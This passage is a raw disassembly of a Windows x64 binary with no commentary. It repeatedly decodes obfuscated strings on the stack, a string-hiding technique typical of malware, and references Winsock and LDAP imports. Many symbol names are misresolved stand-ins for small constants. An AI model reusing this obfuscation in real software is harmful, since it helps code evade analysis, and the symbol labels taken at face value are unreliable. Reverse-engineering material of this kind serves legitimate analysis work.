lea rax, [rsp + 0xafc]
lea rcx, [rsp + 0x6e8]
mov rdi, rax
mov rsi, rcx
mov ecx, recv
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x1c8], 0
jmp 0x140038c55
mov rax, qword [rsp + 0x1c8]
inc rax
mov qword [rsp + 0x1c8], rax
cmp qword [rsp + 0x1c8], 4
jae 0x140038cd2
lea rax, [rsp + 0xafe]
mov qword [rsp + 0x1b60], rax
mov rdx, qword [rsp + 0x1c8]
mov rcx, qword [rsp + 0x1b60]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xafc]
call fcn.140002b40
mov word [rsp + 0x96], ax
lea rax, [rsp + 0xafe]
mov qword [rsp + 0x1b68], rax
mov rdx, qword [rsp + 0x1c8]
mov rcx, qword [rsp + 0x1b68]
call fcn.140002994
movzx ecx, word [rsp + 0x96]
mov word [rax], cx
jmp 0x140038c42
lea rax, [rsp + 0xafe]
mov qword [rsp + 0x1b70], rax
mov edx, 4
mov rcx, qword [rsp + 0x1b70]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xafe]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x1b78], rax
mov rdx, qword [rsp + 0x1b78]
lea rcx, [rsp + 0x2a90]
call fcn.140002cb4
nop
mov byte [rsp + 0x6f8], 0x41
lea rax, [rsp + 0x6f9]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, reloc.WS2_32.dll_WSAGetLastError
mov word [rsp + 0x6fa], ax
mov eax, reloc.WLDAP32.dll_Ordinal_45
mov word [rsp + 0x6fc], ax
mov eax, Ordinal_41
mov word [rsp + 0x6fe], ax
mov eax, reloc.WLDAP32.dll_Ordinal_35
mov word [rsp + 0x700], ax
xor eax, eax
mov word [rsp + 0x702], ax
lea rax, [rsp + 0xaf0]
lea rcx, [rsp + 0x6f8]
mov rdi, rax
mov rsi, rcx
mov ecx, recv
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x1d0], 0
jmp 0x140038dbf
mov rax, qword [rsp + 0x1d0]
inc rax
mov qword [rsp + 0x1d0], rax
cmp qword [rsp + 0x1d0], 4
jae 0x140038e3c
lea rax, [rsp + 0xaf2]
mov qword [rsp + 0x1b80], rax
mov rdx, qword [rsp + 0x1d0]
mov rcx, qword [rsp + 0x1b80]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xaf0]
call fcn.140002b40
mov word [rsp + 0x98], ax
lea rax, [rsp + 0xaf2]
mov qword [rsp + 0x1b88], rax
mov rdx, qword [rsp + 0x1d0]
mov rcx, qword [rsp + 0x1b88]
call fcn.140002994
movzx ecx, word [rsp + 0x98]
mov word [rax], cx
jmp 0x140038dac
lea rax, [rsp + 0xaf2]
mov qword [rsp + 0x1b90], rax
mov edx, 4
mov rcx, qword [rsp + 0x1b90]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xaf2]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x1b98], rax
mov rdx, qword [rsp + 0x1b98]
lea rcx, [rsp + 0x2ab0]
call fcn.140002cb4
nop
mov byte [rsp + 0x708], 0x27
lea rax, [rsp + 0x709]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, 9
mov word [rsp + 0x70a], ax
mov eax, Ordinal_79
mov word [rsp + 0x70c], ax
mov eax, 0x46
mov word [rsp + 0x70e], ax
mov eax, 0x55
mov word [rsp + 0x710], ax
xor eax, eax
mov word [rsp + 0x712], ax
lea rax, [rsp + 0xae4]
lea rcx, [rsp + 0x708]
mov rdi, rax
mov rsi, rcx
mov ecx, recv
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x1d8], 0
jmp 0x140038f29
mov rax, qword [rsp + 0x1d8]
inc rax
mov qword [rsp + 0x1d8], rax
cmp qword [rsp + 0x1d8], 4
jae 0x140038fa6
lea rax, [rsp + 0xae6]
mov qword [rsp + 0x1ba0], rax
mov rdx, qword [rsp + 0x1d8]
mov rcx, qword [rsp + 0x1ba0]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xae4]
call fcn.140002b40
mov word [rsp + 0x9a], ax
lea rax, [rsp + 0xae6]
mov qword [rsp + 0x1ba8], rax
mov rdx, qword [rsp + 0x1d8]
mov rcx, qword [rsp + 0x1ba8]
call fcn.140002994
movzx ecx, word [rsp + 0x9a]
mov word [rax], cx
jmp 0x140038f16
lea rax, [rsp + 0xae6]
mov qword [rsp + 0x1bb0], rax
mov edx, 4
mov rcx, qword [rsp + 0x1bb0]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xae6]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x1bb8], rax
mov rdx, qword [rsp + 0x1bb8]
lea rcx, [rsp + 0x2ad0]
call fcn.140002cb4
nop
mov byte [rsp + 0x718], 0x1e
lea rax, [rsp + 0x719]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, Ordinal_50
mov word [rsp + 0x71a], ax
mov eax, 0x7a
mov word [rsp + 0x71c], ax
mov eax, WSAStartup
mov word [rsp + 0x71e], ax
mov eax, WSAStartup
mov word [rsp + 0x720], ax
xor eax, eax
mov word [rsp + 0x722], ax
lea rax, [rsp + 0xad8]
lea rcx, [rsp + 0x718]
mov rdi, rax
mov rsi, rcx
mov ecx, recv
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x1e0], 0
jmp 0x140039093
mov rax, qword [rsp + 0x1e0]
inc rax
mov qword [rsp + 0x1e0], rax
cmp qword [rsp + 0x1e0], 4
jae 0x140039110
lea rax, [rsp + 0xada]
mov qword [rsp + 0x1bc0], rax
mov rdx, qword [rsp + 0x1e0]
mov rcx, qword [rsp + 0x1bc0]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xad8]
call fcn.140002b40
mov word [rsp + 0x9c], ax
lea rax, [rsp + 0xada]
mov qword [rsp + 0x1bc8], rax
mov rdx, qword [rsp + 0x1e0]
mov rcx, qword [rsp + 0x1bc8]
call fcn.140002994
movzx ecx, word [rsp + 0x9c]
mov word [rax], cx
jmp 0x140039080
lea rax, [rsp + 0xada]
mov qword [rsp + 0x1bd0], rax
mov edx, 4
mov rcx, qword [rsp + 0x1bd0]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xada]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x1bd8], rax
mov rdx, qword [rsp + 0x1bd8]
lea rcx, [rsp + 0x2af0]
call fcn.140002cb4
nop
lea rdx, [0x1401e5608]
lea rcx, [rsp + 0x2b10]
call fcn.140002cb4
nop
lea rax, [rsp + 0x2b30]
mov r8, rax
lea rdx, [rsp + 0x2a30]
lea rcx, [rsp + 0x2280]
call fcn.140005004
movups xmm0, xmmword [rax]
movdqu xmmword [rsp + 0x1cd0], xmm0
movups xmm0, xmmword [rsp + 0x1cd0]
movdqu xmmword [rsp + 0x1ce0], xmm0
mov r8, qword [rsp + 0x1be0]
lea rdx, [rsp + 0x1ce0]
lea rcx, [rsp + 0x1e60]
call fcn.140005018
nop
mov byte [rsp + 0x8a8], 0x6a
lea rax, [rsp + 0x8a9]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, reloc.WS2_32.dll_listen
mov word [rsp + 0x8aa], ax
mov eax, 3
mov word [rsp + 0x8ac], ax
mov eax, reloc.WLDAP32.dll_Ordinal_30
mov word [rsp + 0x8ae], ax
mov eax, 2
mov word [rsp + 0x8b0], ax
mov eax, Ordinal_32
mov word [rsp + 0x8b2], ax
mov eax, 8
mov word [rsp + 0x8b4], ax
xor eax, eax
mov word [rsp + 0x8b6], ax
movups xmm0, xmmword [rsp + 0x8a8]
movdqu xmmword [rsp + 0xb9e], xmm0
mov qword [rsp + 0x1e8], 0
jmp 0x14003927b
mov rax, qword [rsp + 0x1e8]
inc rax
mov qword [rsp + 0x1e8], rax
cmp qword [rsp + 0x1e8], 6
jae 0x1400392f8
lea rax, [rsp + 0xba0]
mov qword [rsp + 0x1be8], rax
mov rdx, qword [rsp + 0x1e8]
mov rcx, qword [rsp + 0x1be8]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xb9e]
call fcn.140002b40
mov word [rsp + 0x9e], ax
lea rax, [rsp + 0xba0]
mov qword [rsp + 0x1bf0], rax
mov rdx, qword [rsp + 0x1e8]
mov rcx, qword [rsp + 0x1bf0]
call fcn.140002994
movzx ecx, word [rsp + 0x9e]
mov word [rax], cx
jmp 0x140039268
lea rax, [rsp + 0xba0]
mov qword [rsp + 0x1bf8], rax
mov edx, 6
mov rcx, qword [rsp + 0x1bf8]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xba0]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x1c00], rax
mov rdx, qword [rsp + 0x1c00]
lea rcx, [rsp + 0x2110]
call fcn.140002cb4
nop
lea rcx, [rsp + 0x2370]
call fcn.1400ec748
mov qword [rsp + 0x1c08], rax
mov rax, qword [rsp + 0x1c08]
mov qword [rsp + 0x1c10], rax
lea r8, [rsp + 0x2110]
mov rdx, qword [rsp + 0x1c10]
lea rcx, [rsp + 0x22e0]
call fcn.140003828
mov qword [rsp + 0x1c18], rax
mov rax, qword [rsp + 0x1c18]
mov qword [rsp + 0x1c20], rax
mov rax, qword [rsp + 0x1c20]
mov qword [rsp + 0x1c38], rax
lea rax, [rsp + 0x34a0]
mov qword [rsp + 0x1c28], rax
mov rdx, qword [rsp + 0x3600]
mov rcx, qword [rsp + 0x1c28]
call fcn.14000359c
mov qword [rsp + 0x1c30], rax
mov rax, qword [rsp + 0x1c30]
mov qword [rsp + 0x1c40], rax
mov qword [rsp + 0x30], 0x500000
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 2
lea r9, [rsp + 0x1e78]
lea r8, [rsp + 0x1e60]
mov rdx, qword [rsp + 0x1c38]
mov rcx, qword [rsp + 0x1c40]
call fcn.14004bebc
nop
lea rcx, [rsp + 0x22e0]
call fcn.140002984
nop
lea rcx, [rsp + 0x2370]
call fcn.140002984
nop
lea rcx, [rsp + 0x2110]
call fcn.140002984
nop
lea rcx, [rsp + 0x1e60]
call fcn.140005010
nop
lea r9, [fcn.140002984]
mov r8d, 8
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x2a30]
call fcn.1401735d0
nop
lea rcx, [rsp + 0x1e78]
call fcn.140005010
nop
lea r9, [fcn.140002984]
mov r8d, 5
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x2800]
call fcn.1401735d0
lea rcx, [rsp + 0x45]
call fcn.140002990
mov qword [rsp + 0x1c48], rax
lea rdx, [0x1401e5608]
lea rcx, [rsp + 0x20a0]
call fcn.140002cb4
nop
lea rax, [rsp + 0x20c0]
mov r8, rax
lea rdx, [rsp + 0x20a0]
lea rcx, [rsp + 0x2290]
call fcn.140005004
movups xmm0, xmmword [rax]
movdqu xmmword [rsp + 0x1cf0], xmm0
movups xmm0, xmmword [rsp + 0x1cf0]
movdqu xmmword [rsp + 0x1d00], xmm0
mov r8, qword [rsp + 0x1c48]
lea rdx, [rsp + 0x1d00]
lea rcx, [rsp + 0x1ea8]
call fcn.140005018
nop
lea rcx, [rsp + 0x46]
call fcn.140002990
mov qword [rsp + 0xd20], rax
mov byte [rsp + 0x728], 0x78
lea rax, [rsp + 0x729]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, 0x56
mov word [rsp + 0x72a], ax
mov eax, recv
mov word [rsp + 0x72c], ax
xor eax, eax
mov word [rsp + 0x72e], ax
mov eax, recv
mov word [rsp + 0x730], ax
xor eax, eax
mov word [rsp + 0x732], ax
lea rax, [rsp + 0xacc]
lea rcx, [rsp + 0x728]
mov rdi, rax
mov rsi, rcx
mov ecx, recv
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x1f0], 0
jmp 0x1400395e1
mov rax, qword [rsp + 0x1f0]
inc rax
mov qword [rsp + 0x1f0], rax
cmp qword [rsp + 0x1f0], 4
jae 0x14003965e
lea rax, [rsp + 0xace]
mov qword [rsp + 0x1c50], rax
mov rdx, qword [rsp + 0x1f0]
mov rcx, qword [rsp + 0x1c50]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xacc]
call fcn.140002b40
mov word [rsp + 0xa0], ax
lea rax, [rsp + 0xace]
mov qword [rsp + 0x1c58], rax
mov rdx, qword [rsp + 0x1f0]
mov rcx, qword [rsp + 0x1c58]
call fcn.140002994
movzx ecx, word [rsp + 0xa0]
mov word [rax], cx
jmp 0x1400395ce
lea rax, [rsp + 0xace]
mov qword [rsp + 0x1c60], rax
mov edx, 4
mov rcx, qword [rsp + 0x1c60]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xace]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x1c68], rax
mov rdx, qword [rsp + 0x1c68]
lea rcx, [rsp + 0x25f0]
call fcn.140002cb4
nop
mov byte [rsp + 0x738], 0x60
lea rax, [rsp + 0x739]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, Ordinal_79
mov word [rsp + 0x73a], ax
mov eax, 4
mov word [rsp + 0x73c], ax
mov eax, 1
mov word [rsp + 0x73e], ax
mov eax, reloc.WS2_32.dll_sendto
mov word [rsp + 0x740], ax
xor eax, eax
mov word [rsp + 0x742], ax
lea rax, [rsp + 0xab4]
lea rcx, [rsp + 0x738]
mov rdi, rax
mov rsi, rcx
mov ecx, recv
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x1f8], 0
jmp 0x14003974b
mov rax, qword [rsp + 0x1f8]
inc rax
mov qword [rsp + 0x1f8], rax
cmp qword [rsp + 0x1f8], 4
jae 0x1400397c8
lea rax, [rsp + 0xab6]
mov qword [rsp + 0x1c70], rax
mov rdx, qword [rsp + 0x1f8]
mov rcx, qword [rsp + 0x1c70]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xab4]
call fcn.140002b40
mov word [rsp + 0xa2], ax
lea rax, [rsp + 0xab6]
mov qword [rsp + 0x1c78], rax
mov rdx, qword [rsp + 0x1f8]
mov rcx, qword [rsp + 0x1c78]
call fcn.140002994
movzx ecx, word [rsp + 0xa2]
mov word [rax], cx
jmp 0x140039738
lea rax, [rsp + 0xab6]
mov qword [rsp + 0x1c80], rax
mov edx, 4
mov rcx, qword [rsp + 0x1c80]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xab6]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0xcd8], rax
mov rdx, qword [rsp + 0xcd8]
lea rcx, [rsp + 0x2610]
call fcn.140002cb4
nop
mov byte [rsp + 0x748], 0x43
lea rax, [rsp + 0x749]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, WSAGetLastError
mov word [rsp + 0x74a], ax
mov eax, Ordinal_50
mov word [rsp + 0x74c], ax
mov eax, gethostname
mov word [rsp + 0x74e], ax
mov eax, Ordinal_41
mov word [rsp + 0x750], ax
xor eax, eax
mov word [rsp + 0x752], ax
lea rax, [rsp + 0xaa8]
lea rcx, [rsp + 0x748]
mov rdi, rax
mov rsi, rcx
mov ecx, recv
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x200], 0
jmp 0x1400398b5
mov rax, qword [rsp + 0x200]
inc rax
mov qword [rsp + 0x200], rax
cmp qword [rsp + 0x200], 4
jae 0x140039932
lea rax, [rsp + 0xaaa]
mov qword [rsp + 0xce0], rax
mov rdx, qword [rsp + 0x200]
mov rcx, qword [rsp + 0xce0]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xaa8]
call fcn.140002b40
mov word [rsp + 0xa4], ax
lea rax, [rsp + 0xaaa]
mov qword [rsp + 0xce8], rax
mov rdx, qword [rsp + 0x200]
mov rcx, qword [rsp + 0xce8]
call fcn.140002994
movzx ecx, word [rsp + 0xa4]
mov word [rax], cx
jmp 0x1400398a2
lea rax, [rsp + 0xaaa]
mov qword [rsp + 0xcf0], rax
mov edx, 4
mov rcx, qword [rsp + 0xcf0]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xaaa]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0xcf8], rax
mov rdx, qword [rsp + 0xcf8]
lea rcx, [rsp + 0x2630]
call fcn.140002cb4
nop
mov byte [rsp + 0x940], 0x7b
lea rax, [rsp + 0x941]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, 0x55
mov word [rsp + 0x942], ax
mov eax, recv
mov word [rsp + 0x944], ax
mov eax, reloc.WLDAP32.dll_Ordinal_26
mov word [rsp + 0x946], ax
mov eax, reloc.WS2_32.dll_socket
mov word [rsp + 0x948], ax
mov eax, reloc.WS2_32.dll_socket
mov word [rsp + 0x94a], ax
mov eax, reloc.WLDAP32.dll_Ordinal_30
mov word [rsp + 0x94c], ax
mov eax, reloc.WS2_32.dll_ntohs
mov word [rsp + 0x94e], ax
xor eax, eax
mov word [rsp + 0x950], ax
lea rax, [rsp + 0xc3c]
lea rcx, [rsp + 0x940]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_select
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x208], 0
jmp 0x140039a46
mov rax, qword [rsp + 0x208]
inc rax
mov qword [rsp + 0x208], rax
cmp qword [rsp + 0x208], 7
jae 0x140039ac3
lea rax, [rsp + 0xc3e]
mov qword [rsp + 0xd00], rax
mov rdx, qword [rsp + 0x208]
mov rcx, qword [rsp + 0xd00]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xc3c]
call fcn.140002b40
mov word [rsp + 0xa6], ax
lea rax, [rsp + 0xc3e]
mov qword [rsp + 0xd08], rax
mov rdx, qword [rsp + 0x208]
mov rcx, qword [rsp + 0xd08]
call fcn.140002994
movzx ecx, word [rsp + 0xa6]
mov word [rax], cx
jmp 0x140039a33
lea rax, [rsp + 0xc3e]
mov qword [rsp + 0xd10], rax
mov edx, 7
mov rcx, qword [rsp + 0xd10]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xc3e]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0xd18], rax
mov rdx, qword [rsp + 0xd18]
lea rcx, [rsp + 0x2650]
call fcn.140002cb4
nop
lea rax, [rsp + 0x2670]
mov r8, rax
lea rdx, [rsp + 0x25f0]
lea rcx, [rsp + 0x22c0]
call fcn.140005004
movups xmm0, xmmword [rax]
movdqu xmmword [rsp + 0x1d10], xmm0
movups xmm0, xmmword [rsp + 0x1d10]
movdqu xmmword [rsp + 0x1d20], xmm0
mov r8, qword [rsp + 0xd20]
lea rdx, [rsp + 0x1d20]
lea rcx, [rsp + 0x1e90]
call fcn.140005018
nop
lea rcx, [rsp + 0x2390]
call fcn.1400ec8a4
mov qword [rsp + 0xd28], rax
mov rax, qword [rsp + 0xd28]
mov qword [rsp + 0xd30], rax
mov rax, qword [rsp + 0xd30]
mov qword [rsp + 0xd48], rax
lea rax, [rsp + 0x34c0]
mov qword [rsp + 0xd38], rax
mov rdx, qword [rsp + 0x3600]
mov rcx, qword [rsp + 0xd38]
call fcn.14000359c
mov qword [rsp + 0xd40], rax
mov rax, qword [rsp + 0xd40]
mov qword [rsp + 0xd50], rax
mov qword [rsp + 0x30], 0x500000
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 1
lea r9, [rsp + 0x1ea8]
lea r8, [rsp + 0x1e90]
mov rdx, qword [rsp + 0xd48]
mov rcx, qword [rsp + 0xd50]
call fcn.14004bebc
nop
lea rcx, [rsp + 0x2390]
call fcn.140002984
nop
lea rcx, [rsp + 0x1e90]
call fcn.140005010
nop
lea r9, [fcn.140002984]
mov r8d, 4
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x25f0]
call fcn.1401735d0
nop
lea rcx, [rsp + 0x1ea8]
call fcn.140005010
nop
lea r9, [fcn.140002984]
mov r8d, 1
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x20a0]
call fcn.1401735d0
lea rcx, [rsp + 0x47]
call fcn.140002990
mov qword [rsp + 0xdf8], rax
mov byte [rsp + 0x758], 0x46
lea rax, [rsp + 0x759]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, 0x68
mov word [rsp + 0x75a], ax
mov eax, reloc.WLDAP32.dll_Ordinal_33
mov word [rsp + 0x75c], ax
mov eax, Ordinal_50
mov word [rsp + 0x75e], ax
mov eax, reloc.WLDAP32.dll_Ordinal_50
mov word [rsp + 0x760], ax
xor eax, eax
mov word [rsp + 0x762], ax
lea rax, [rsp + 0xa9c]
lea rcx, [rsp + 0x758]
mov rdi, rax
mov rsi, rcx
mov ecx, recv
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x210], 0
jmp 0x140039d37
mov rax, qword [rsp + 0x210]
inc rax
mov qword [rsp + 0x210], rax
cmp qword [rsp + 0x210], 4
jae 0x140039db4
lea rax, [rsp + 0xa9e]
mov qword [rsp + 0xd58], rax
mov rdx, qword [rsp + 0x210]
mov rcx, qword [rsp + 0xd58]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xa9c]
call fcn.140002b40
mov word [rsp + 0xa8], ax
lea rax, [rsp + 0xa9e]
mov qword [rsp + 0xd60], rax
mov rdx, qword [rsp + 0x210]
mov rcx, qword [rsp + 0xd60]
call fcn.140002994
movzx ecx, word [rsp + 0xa8]
mov word [rax], cx
jmp 0x140039d24
lea rax, [rsp + 0xa9e]
mov qword [rsp + 0xd68], rax
mov edx, 4
mov rcx, qword [rsp + 0xd68]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xa9e]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0xd70], rax
mov rdx, qword [rsp + 0xd70]
lea rcx, [rsp + 0x28b0]
call fcn.140002cb4
nop
mov byte [rsp + 0x5e8], 1
lea rax, [rsp + 0x5e9]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, Ordinal_50
mov word [rsp + 0x5ea], ax
mov eax, 0x77
mov word [rsp + 0x5ec], ax
mov eax, WSAStartup
mov word [rsp + 0x5ee], ax
xor eax, eax
mov word [rsp + 0x5f0], ax
lea rax, [rsp + 0x992]
lea rcx, [rsp + 0x5e8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xa
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x218], 0
jmp 0x140039e94
mov rax, qword [rsp + 0x218]
inc rax
mov qword [rsp + 0x218], rax
cmp qword [rsp + 0x218], 3
jae 0x140039f11
lea rax, [rsp + 0x994]
mov qword [rsp + 0xd78], rax
mov rdx, qword [rsp + 0x218]
mov rcx, qword [rsp + 0xd78]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0x992]
call fcn.140002b40
mov word [rsp + 0xaa], ax
lea rax, [rsp + 0x994]
mov qword [rsp + 0xd80], rax
mov rdx, qword [rsp + 0x218]
mov rcx, qword [rsp + 0xd80]
call fcn.140002994
movzx ecx, word [rsp + 0xaa]
mov word [rax], cx
jmp 0x140039e81
lea rax, [rsp + 0x994]
mov qword [rsp + 0xd88], rax
mov edx, 3
mov rcx, qword [rsp + 0xd88]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0x994]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0xd90], rax
mov rdx, qword [rsp + 0xd90]
lea rcx, [rsp + 0x28d0]
call fcn.140002cb4
nop
mov byte [rsp + 0x958], 3
lea rax, [rsp + 0x959]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, 0x51
mov word [rsp + 0x95a], ax
mov eax, 0x66
mov word [rsp + 0x95c], ax
mov eax, reloc.WS2_32.dll_WSAGetLastError
mov word [rsp + 0x95e], ax
mov eax, 0x66
mov word [rsp + 0x960], ax
mov eax, 0x62
mov word [rsp + 0x962], ax
mov eax, reloc.WS2_32.dll_WSASetLastError
mov word [rsp + 0x964], ax
mov eax, 0x66
mov word [rsp + 0x966], ax
xor eax, eax
mov word [rsp + 0x968], ax
lea rax, [rsp + 0xc4e]
lea rcx, [rsp + 0x958]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_select
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x220], 0
jmp 0x14003a025
mov rax, qword [rsp + 0x220]
inc rax
mov qword [rsp + 0x220], rax
cmp qword [rsp + 0x220], 7
jae 0x14003a0a2
lea rax, [rsp + 0xc50]
mov qword [rsp + 0xd98], rax
mov rdx, qword [rsp + 0x220]
mov rcx, qword [rsp + 0xd98]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xc4e]
call fcn.140002b40
mov word [rsp + 0xac], ax
lea rax, [rsp + 0xc50]
mov qword [rsp + 0xda0], rax
mov rdx, qword [rsp + 0x220]
mov rcx, qword [rsp + 0xda0]
call fcn.140002994
movzx ecx, word [rsp + 0xac]
mov word [rax], cx
jmp 0x14003a012
lea rax, [rsp + 0xc50]
mov qword [rsp + 0xda8], rax
mov edx, 7
mov rcx, qword [rsp + 0xda8]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xc50]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0xdb0], rax
mov rdx, qword [rsp + 0xdb0]
lea rcx, [rsp + 0x28f0]
call fcn.140002cb4
nop
mov byte [rsp + 0x838], 0x13
lea rax, [rsp + 0x839]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, 0x57
mov word [rsp + 0x83a], ax
mov eax, 0x76
mov word [rsp + 0x83c], ax
mov eax, WSAStartup
mov word [rsp + 0x83e], ax
mov eax, 0x66
mov word [rsp + 0x840], ax
mov eax, reloc.WS2_32.dll_WSACleanup
mov word [rsp + 0x842], ax
xor eax, eax
mov word [rsp + 0x844], ax
lea rax, [rsp + 0xb82]
lea rcx, [rsp + 0x838]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_ntohl
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x228], 0
jmp 0x14003a19c
mov rax, qword [rsp + 0x228]
inc rax
mov qword [rsp + 0x228], rax
cmp qword [rsp + 0x228], 5
jae 0x14003a219
lea rax, [rsp + 0xb84]
mov qword [rsp + 0xdb8], rax
mov rdx, qword [rsp + 0x228]
mov rcx, qword [rsp + 0xdb8]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xb82]
call fcn.140002b40
mov word [rsp + 0xae], ax
lea rax, [rsp + 0xb84]
mov qword [rsp + 0xdc0], rax
mov rdx, qword [rsp + 0x228]
mov rcx, qword [rsp + 0xdc0]
call fcn.140002994
movzx ecx, word [rsp + 0xae]
mov word [rax], cx
jmp 0x14003a189
lea rax, [rsp + 0xb84]
mov qword [rsp + 0xdc8], rax
mov edx, 5
mov rcx, qword [rsp + 0xdc8]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xb84]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0xdd0], rax
mov rdx, qword [rsp + 0xdd0]
lea rcx, [rsp + 0x2910]
call fcn.140002cb4
nop
lea rdx, [rsp + 0x2cb6]
lea rcx, [rsp + 0x48]
call fcn.140040d48
mov qword [rsp + 0x238], rax
mov qword [rsp + 0x230], 0
jmp 0x14003a2a9
mov rax, qword [rsp + 0x230]
inc rax
mov qword [rsp + 0x230], rax
cmp qword [rsp + 0x230], 0xc
jae 0x14003a32e
mov rax, qword [rsp + 0x238]
add rax, 2
mov qword [rsp + 0xdd8], rax
mov rdx, qword [rsp + 0x230]
mov rcx, qword [rsp + 0xdd8]
call fcn.140002994
movzx edx, word [rax]
mov rcx, qword [rsp + 0x238]
call fcn.140002b40
mov word [rsp + 0xb0], ax
mov rax, qword [rsp + 0x238]
add rax, 2
mov qword [rsp + 0xde0], rax
mov rdx, qword [rsp + 0x230]
mov rcx, qword [rsp + 0xde0]
call fcn.140002994
movzx ecx, word [rsp + 0xb0]
mov word [rax], cx
jmp 0x14003a296
mov rax, qword [rsp + 0x238]
add rax, 2
mov qword [rsp + 0xde8], rax
mov edx, recv
mov rcx, qword [rsp + 0xde8]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
mov rax, qword [rsp + 0x238]
add rax, 2
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0xdf0], rax
mov rdx, qword [rsp + 0xdf0]
lea rcx, [rsp + 0x2930]
call fcn.140002cb4
nop
lea rax, [rsp + 0x2950]
mov r8, rax
lea rdx, [rsp + 0x28b0]
lea rcx, [rsp + 0x22d0]
call fcn.140005004
movups xmm0, xmmword [rax]
movdqu xmmword [rsp + 0x1d30], xmm0
movups xmm0, xmmword [rsp + 0x1d30]
movdqu xmmword [rsp + 0x1d40], xmm0
mov r8, qword [rsp + 0xdf8]
lea rdx, [rsp + 0x1d40]
lea rcx, [rsp + 0x1ef0]
call fcn.140005018
nop
lea rcx, [rsp + 0x49]
call fcn.140002990
mov qword [rsp + 0xee0], rax
mov byte [rsp + 0x768], 9
lea rax, [rsp + 0x769]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, Ordinal_41
mov word [rsp + 0x76a], ax
